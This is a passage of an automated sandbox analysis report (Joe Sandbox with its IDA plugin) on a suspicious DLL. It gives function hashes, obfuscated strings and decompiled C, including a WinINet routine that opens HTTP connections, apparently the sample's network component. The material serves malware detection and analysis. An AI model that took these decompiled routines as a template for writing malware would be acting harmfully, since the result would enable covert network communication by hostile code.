                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Heap$Freewsprintf$lstrcatlstrlen$lstrcpy$AllocateCountCriticalSectionTickTrim$EnterLeaveObjectSingleWaitstrcpy
                  • String ID:
                  • API String ID: 186568778-0
                  • Opcode ID: b027abb02d2c72a3f2c8a28ba204d3a67e3abe6b888953a95f05850ac29f74d1
                  • Instruction ID: ac1e83642359f039c553b7c548f2e5066699b6b3d1d96da794721132cde68088
                  • Opcode Fuzzy Hash: b027abb02d2c72a3f2c8a28ba204d3a67e3abe6b888953a95f05850ac29f74d1
                  • Instruction Fuzzy Hash: 13718C71840324AFC7119B66EC49F5A3BE8EFC8744B150B54F909E3220D732D9E5DBA5
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB59072 Relevance: 36.2, APIs: 14, Strings: 6, Instructions: 1195threadCOMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$CurrentExistsFileMax_valueMin_valuePathThread
                  • String ID: BjtTnvECtzpaEijcqqyxbHCeelZu$TOWPPRItybQbD$qfjImKAhRYWUcTzpUMAg$qfjImKAhRYWUcTzpUMAg$vAWtYjvVXcbI$wRkgOdOTeLDXF
                  • API String ID: 1146340092-603009307
                  • Opcode ID: e4323082494a01fb491d08c6f0b43f58c3b602b83df377f7fb0a65129fea9871
                  • Instruction ID: d593428c28fb34623001068c85948e64f5c1ab6eedfa692821760a61417b8eef
                  • Opcode Fuzzy Hash: e4323082494a01fb491d08c6f0b43f58c3b602b83df377f7fb0a65129fea9871
                  • Instruction Fuzzy Hash: 03C27AB0D0A2A8CBDF24CF54CC94BEDB7B5BB41308F9481D9D0086BA84DB759A99CF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB58190 Relevance: 35.1, APIs: 19, Strings: 1, Instructions: 112registrystringCOMMONLIBRARYCODE
                  Download Yara Rule

                  Control-flow Graph

                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$CurrentDirectoryEnumHandleModuleOpenlstrlen
                  • String ID: SOFTWAREMicrosoft
                  • API String ID: 2181899111-2018505035
                  • Opcode ID: 9688a9fa92eaa5e36a0908e597a2d45cbebd700b69a4c4b281a20bedae2c1aa0
                  • Instruction ID: 0686ec143e73229966ae26c6708ab55eccd9fdc1d77ae041a2324a650451240f
                  • Opcode Fuzzy Hash: 9688a9fa92eaa5e36a0908e597a2d45cbebd700b69a4c4b281a20bedae2c1aa0
                  • Instruction Fuzzy Hash: 0F51CC309241989FDF18DFA0DD95BEDB778AF24308F508098954962698EF342F5CEF61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB576F0 Relevance: 33.8, APIs: 13, Strings: 6, Instructions: 600COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: iGROCK$lXKyiqcrMwbANfWbF$mzBkkozeXkwSZUTzMWLGiQ$rMn$rrNXhVnTqknuBweEbKbHOtqRlGGqhcAkMIvpTc$svqG
                  • API String ID: 1384045349-4232882824
                  • Opcode ID: 451e349b26323ca3ce9ad1f9c817c804b9a05a3864eee58a2fc3007b5b758240
                  • Instruction ID: cb3b6281302889f2eb0a82e4037004d22d12e9af0e94184cdba5afb000dbfaa0
                  • Opcode Fuzzy Hash: 451e349b26323ca3ce9ad1f9c817c804b9a05a3864eee58a2fc3007b5b758240
                  • Instruction Fuzzy Hash: 8D526B70E292A8CBDB14CF50C894BDDB7B5BF11308F9481D9C0097BA84DBB55A99CF92
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB50FF8 Relevance: 27.4, APIs: 10, Strings: 5, Instructions: 1127COMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID: AJDJFduUOPxqpzaMuweOwHXYCbmQEaWOndD$GLLWbagNpjucZJFCtR$GXeYvYO$WrBHTPeHkktnbdGW$bRxdkSsuOTdZq
                  • API String ID: 1384045349-2201906149
                  • Opcode ID: b71db3c5ae30289d7e68879fdf3366a76d30a3a3261e235c5b8001cdde0bdc93
                  • Instruction ID: 0253c9708ad173e55b552c70e64a31fbb137a2cb21f8f14fa298380320170077
                  • Opcode Fuzzy Hash: b71db3c5ae30289d7e68879fdf3366a76d30a3a3261e235c5b8001cdde0bdc93
                  • Instruction Fuzzy Hash: DEC26C7090A2A9CBDF24CF44CC98BDDB7B1BB46309F9881C9D0186BA44D7B59AD8CF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB4901C Relevance: 26.2, APIs: 17, Instructions: 713COMMON
                  Download Yara Rule

                  Control-flow Graph

                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$char_traits
                  • String ID:
                  • API String ID: 1455298312-0
                  • Opcode ID: 1a31e49c3bfdb29241df93563fd0941881f9dff620bf0a853f66f6065e02b3ab
                  • Instruction ID: f4342b07019f0fa1ee34642935d0aece76aca1523479db1fda1085b096436c05
                  • Opcode Fuzzy Hash: 1a31e49c3bfdb29241df93563fd0941881f9dff620bf0a853f66f6065e02b3ab
                  • Instruction Fuzzy Hash: 74627770D081A8DBDB24CF54CE84BEDB7B9AB45308F54C1D9D0096BA48DB70AAC8EF51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB5267C Relevance: 20.3, APIs: 8, Strings: 3, Instructions: 1023threadCOMMON
                  Download Yara Rule
                  APIs
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task$CurrentThread
                  • String ID: aLfqB$berisKqRTIiVmzaIFzMoyjILiDtfEh$ncAdSbmFiCi
                  • API String ID: 1268046881-658361386
                  • Opcode ID: 73de045262077305b3dd77630fb01e458364a2b591917c5a0702adf0aeaeb25a
                  • Instruction ID: 242af5f2e5b2b863be939d909ba0de2fe977ed080a0748d8f36d091f445c4464
                  • Opcode Fuzzy Hash: 73de045262077305b3dd77630fb01e458364a2b591917c5a0702adf0aeaeb25a
                  • Instruction Fuzzy Hash: 7EB25C70D0A2A88BDF24CF44CC54BDDB7B1BB42309F9481D9D0196BB84DBB59A98CF52
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C57B83 Relevance: 19.6, APIs: 13, Instructions: 126networkstringCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 2905 2c57b83-2c57bad lstrlen call 2c533dc 2908 2c57bd5-2c57beb InternetOpenA 2905->2908 2909 2c57baf-2c57bc0 InternetCanonicalizeUrlA 2905->2909 2912 2c57cd4 GetLastError 2908->2912 2913 2c57bf1-2c57c00 InternetSetStatusCallback 2908->2913 2910 2c57bc2-2c57bcd call 2c561da 2909->2910 2911 2c57bcf-2c57bd0 call 2c561da 2909->2911 2910->2908 2911->2908 2915 2c57cda-2c57cdd 2912->2915 2913->2912 2917 2c57c06-2c57c27 ResetEvent InternetConnectA 2913->2917 2919 2c57c4f-2c57c7a HttpOpenRequestA 2917->2919 2920 2c57c29-2c57c34 GetLastError 2917->2920 2919->2912 2921 2c57c7c-2c57c9b InternetQueryOptionA 2919->2921 2920->2912 2922 2c57c3a-2c57c49 call 2c516b2 2920->2922 2923 2c57cb0-2c57cbe InternetSetOptionA 2921->2923 2924 2c57c9d-2c57cae InternetSetOptionA 2921->2924 2922->2912 2922->2919 2923->2912 2927 2c57cc0-2c57cce InternetSetOptionA 2923->2927 2924->2923 2927->2912 2928 2c57cd0-2c57cd2 2927->2928 2928->2915
                  C-Code - Quality: 92%
                  			E02C57B83(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E02C533DC(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E02C561DA(_t56);
					} else {
						E02C561DA( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E02C57B18) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E02C516B2( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x2c5a348; // 0xe7d5a8
						_t15 = _t59 + 0x2c5b845; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}














                  0x02c57b83
                  0x02c57b83
                  0x02c57b8e
                  0x02c57b95
                  0x02c57b9d
                  0x02c57ba7
                  0x02c57bad
                  0x02c57bc0
                  0x02c57bd0
                  0x02c57bc2
                  0x02c57bc5
                  0x02c57bca
                  0x02c57bca
                  0x02c57bc0
                  0x02c57be0
                  0x02c57be6
                  0x02c57beb
                  0x02c57cd4
                  0x00000000
                  0x02c57c06
                  0x02c57c09
                  0x02c57c1c
                  0x02c57c22
                  0x02c57c27
                  0x02c57c4f
                  0x02c57c62
                  0x02c57c6c
                  0x02c57c6f
                  0x02c57c75
                  0x02c57c7a
                  0x00000000
                  0x00000000
                  0x02c57c7e
                  0x02c57c8a
                  0x02c57c9b
                  0x02c57c9d
                  0x02c57cae
                  0x02c57cae
                  0x02c57cbe
                  0x00000000
                  0x02c57cd0
                  0x00000000
                  0x02c57cd0
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c57c27

                  APIs
                  • lstrlen.KERNEL32(?,00000008,74CB4D40), ref: 02C57B95
                    • Part of subcall function 02C533DC: RtlAllocateHeap.NTDLL(00000000,00000000,02C562F6), ref: 02C533E8
                  • InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 02C57BB8
                  • InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 02C57BE0
                  • InternetSetStatusCallback.WININET(00000000,02C57B18), ref: 02C57BF7
                  • ResetEvent.KERNEL32(?), ref: 02C57C09
                  • InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 02C57C1C
                  • GetLastError.KERNEL32 ref: 02C57C29
                  • HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 02C57C6F
                  • InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 02C57C8D
                  • InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 02C57CAE
                  • InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 02C57CBA
                  • InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 02C57CCA
                  • GetLastError.KERNEL32 ref: 02C57CD4
                    • Part of subcall function 02C561DA: RtlFreeHeap.NTDLL(00000000,00000000,02C56383,00000000,?,00000000,00000000), ref: 02C561E6
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
                  • String ID:
                  • API String ID: 2290446683-0
                  • Opcode ID: cc0bccffc37a989e85cdbfd7764afbb4a91c8497ce5f5311c4103e3c3eae503e
                  • Instruction ID: a59d362be9df2f7db55c43db1a23bb2cf72d1eb4c73af50e3968da816aed504e
                  • Opcode Fuzzy Hash: cc0bccffc37a989e85cdbfd7764afbb4a91c8497ce5f5311c4103e3c3eae503e
                  • Instruction Fuzzy Hash: 90417D71900764BFEB219F65CD48E5BBBBDEF84704B104A58FA02A2190E730E6D8CB24
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 02C57FC5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209libraryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 2929 2c57fc5-2c5802a 2930 2c5802c-2c58046 RaiseException 2929->2930 2931 2c5804b-2c58075 2929->2931 2932 2c581fb-2c581ff 2930->2932 2933 2c58077 2931->2933 2934 2c5807a-2c58086 2931->2934 2933->2934 2935 2c58099-2c5809b 2934->2935 2936 2c58088-2c58093 2934->2936 2937 2c580a1-2c580a8 2935->2937 2938 2c58143-2c5814d 2935->2938 2936->2935 2944 2c581de-2c581e5 2936->2944 2942 2c580b8-2c580c5 LoadLibraryA 2937->2942 2943 2c580aa-2c580b6 2937->2943 2940 2c5814f-2c58157 2938->2940 2941 2c58159-2c5815b 2938->2941 2940->2941 2945 2c5815d-2c58160 2941->2945 2946 2c581d9-2c581dc 2941->2946 2947 2c580c7-2c580d7 GetLastError 2942->2947 2948 2c58108-2c58114 InterlockedExchange 2942->2948 2943->2942 2943->2948 2952 2c581e7-2c581f4 2944->2952 2953 2c581f9 2944->2953 2955 2c58162-2c58165 2945->2955 2956 2c5818e-2c5819c GetProcAddress 2945->2956 2946->2944 2957 2c580e7-2c58103 RaiseException 2947->2957 2958 2c580d9-2c580e5 2947->2958 2949 2c58116-2c5811a 2948->2949 2950 2c5813c-2c5813d FreeLibrary 2948->2950 2949->2938 2960 2c5811c-2c58128 LocalAlloc 2949->2960 2950->2938 2952->2953 2953->2932 2955->2956 2961 2c58167-2c58172 2955->2961 2956->2946 2959 2c5819e-2c581ae GetLastError 2956->2959 2957->2932 2958->2948 2958->2957 2963 2c581b0-2c581b8 2959->2963 2964 2c581ba-2c581bc 2959->2964 2960->2938 2965 2c5812a-2c5813a 2960->2965 2961->2956 2966 2c58174-2c5817a 2961->2966 2963->2964 2964->2946 2968 2c581be-2c581d6 RaiseException 2964->2968 2965->2938 2966->2956 2967 2c5817c-2c5817f 2966->2967 2967->2956 2969 2c58181-2c5818c 2967->2969 2968->2946 2969->2946 2969->2956
                  C-Code - Quality: 51%
                  			E02C57FC5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x2c50000;
				_t115 = _t139[3] + 0x2c50000;
				_t131 = _t139[4] + 0x2c50000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x2c50000;
				_v16 = _t139[5] + 0x2c50000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x2c50002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x2c5a1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x2c5a1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x2c5a1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x2c5a1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x2c5a1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x2c5a1b8; // 0x0
										 *_t102 = _t125;
										 *0x2c5a1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x2c5a1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}


































                  0x02c57fd4
                  0x02c57fea
                  0x02c57ff0
                  0x02c57ff2
                  0x02c57ff7
                  0x02c57ffd
                  0x02c58002
                  0x02c58005
                  0x02c58013
                  0x02c5801a
                  0x02c5801d
                  0x02c58020
                  0x02c58021
                  0x02c58024
                  0x02c58027
                  0x02c5802a
                  0x02c5802f
                  0x02c5803e
                  0x00000000
                  0x02c58044
                  0x02c5804e
                  0x02c58058
                  0x02c5805d
                  0x02c5805f
                  0x02c58069
                  0x02c5806c
                  0x02c5806f
                  0x02c58075
                  0x02c58077
                  0x02c58077
                  0x02c5807a
                  0x02c5807d
                  0x02c58082
                  0x02c58086
                  0x02c58099
                  0x02c5809b
                  0x02c58143
                  0x02c58143
                  0x02c5814a
                  0x02c5814d
                  0x02c58157
                  0x02c58157
                  0x02c5815b
                  0x02c581d9
                  0x02c581dc
                  0x02c581de
                  0x02c581de
                  0x02c581e5
                  0x02c581e7
                  0x02c581f1
                  0x02c581f4
                  0x02c581f7
                  0x02c581f7
                  0x00000000
                  0x02c5815d
                  0x02c58160
                  0x02c5818e
                  0x02c58198
                  0x02c5819c
                  0x02c581a4
                  0x02c581a7
                  0x02c581ae
                  0x02c581b8
                  0x02c581b8
                  0x02c581bc
                  0x02c581c1
                  0x02c581d0
                  0x02c581d6
                  0x02c581d6
                  0x02c581bc
                  0x00000000
                  0x02c58167
                  0x02c5816a
                  0x02c58172
                  0x02c58187
                  0x02c5818c
                  0x00000000
                  0x00000000
                  0x02c5818c
                  0x00000000
                  0x02c58172
                  0x02c58160
                  0x02c5815b
                  0x02c580a1
                  0x02c580a8
                  0x02c580b8
                  0x02c580bb
                  0x02c580c1
                  0x02c580c5
                  0x02c58108
                  0x02c58114
                  0x02c5813d
                  0x02c58116
                  0x02c5811a
                  0x02c58120
                  0x02c58128
                  0x02c5812a
                  0x02c5812d
                  0x02c58133
                  0x02c58135
                  0x02c58135
                  0x02c58128
                  0x02c5811a
                  0x00000000
                  0x02c58114
                  0x02c580cd
                  0x02c580d0
                  0x02c580d7
                  0x02c580e7
                  0x02c580ea
                  0x02c580fa
                  0x00000000
                  0x02c58100
                  0x02c580e1
                  0x02c580e5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c580e5
                  0x02c580b2
                  0x02c580b6
                  0x00000000
                  0x00000000
                  0x00000000
                  0x02c580b6
                  0x02c5808f
                  0x02c58093
                  0x00000000
                  0x00000000
                  0x00000000

                  APIs
                  • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 02C5803E
                  • LoadLibraryA.KERNELBASE(?), ref: 02C580BB
                  • GetLastError.KERNEL32 ref: 02C580C7
                  • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 02C580FA
                  Strings
                  Memory Dump Source
                  • Source File: 00000000.00000002.777076559.0000000002C51000.00000020.10000000.00040000.00000000.sdmp, Offset: 02C50000, based on PE: true
                  • Associated: 00000000.00000002.777064531.0000000002C50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777105629.0000000002C59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777118792.0000000002C5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000000.00000002.777134029.0000000002C5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_2c50000_loaddll32.jbxd
                  Similarity
                  • API ID: ExceptionRaise$ErrorLastLibraryLoad
                  • String ID: $
                  • API String ID: 948315288-3993045852
                  • Opcode ID: 88ff42cef4fd1003eb1670038a8ac37f24f99cc5fb587bb871cfd560804fcc5d
                  • Instruction ID: 14c91573d68de2f3ba512c27b09a510892226f9abefb16cc7304ea183728edb2
                  • Opcode Fuzzy Hash: 88ff42cef4fd1003eb1670038a8ac37f24f99cc5fb587bb871cfd560804fcc5d
                  • Instruction Fuzzy Hash: 9981EA71A40315AFDB10CF99D885BAEB7F5BF88310F148629E905E7250EB70EA85CB94
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 6CB4ABDF Relevance: 18.2, APIs: 12, Instructions: 153COMMON
                  Download Yara Rule

                  Control-flow Graph

                  APIs
                  Memory Dump Source
                  • Source File: 00000000.00000002.777444445.000000006CB41000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB40000, based on PE: true
                  • Associated: 00000000.00000002.777425823.000000006CB40000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777484362.000000006CB6A000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777497702.000000006CB74000.00000004.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CB83000.00000002.00000001.01000000.00000003.sdmpDownload File
                  • Associated: 00000000.00000002.777517108.000000006CBC5000.00000002.00000001.01000000.00000003.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_0_2_6cb40000_loaddll32.jbxd
                  Similarity
                  • API ID: task
                  • String ID:
                  • API String ID: 1384045349-0
                  • Opcode ID: e117092cb9ff93d2c6cef2ede7c88cb5c1d8e4b27af26ba47086cfbfe42a8d8c
                  • Instruction ID: 16c2aa7b4536f9f1e380e5ccad5d1fd8515b5634aa8f51ffe78b4c4f57f6c000
                  • Opcode Fuzzy Hash: e117092cb9ff93d2c6cef2ede7c88cb5c1d8e4b27af26ba47086cfbfe42a8d8c
                  • Instruction Fuzzy Hash: DF614B70D092989BCB14CB64CC94BEEB775AF25308F5481E9C049A7794DB702F89EF92
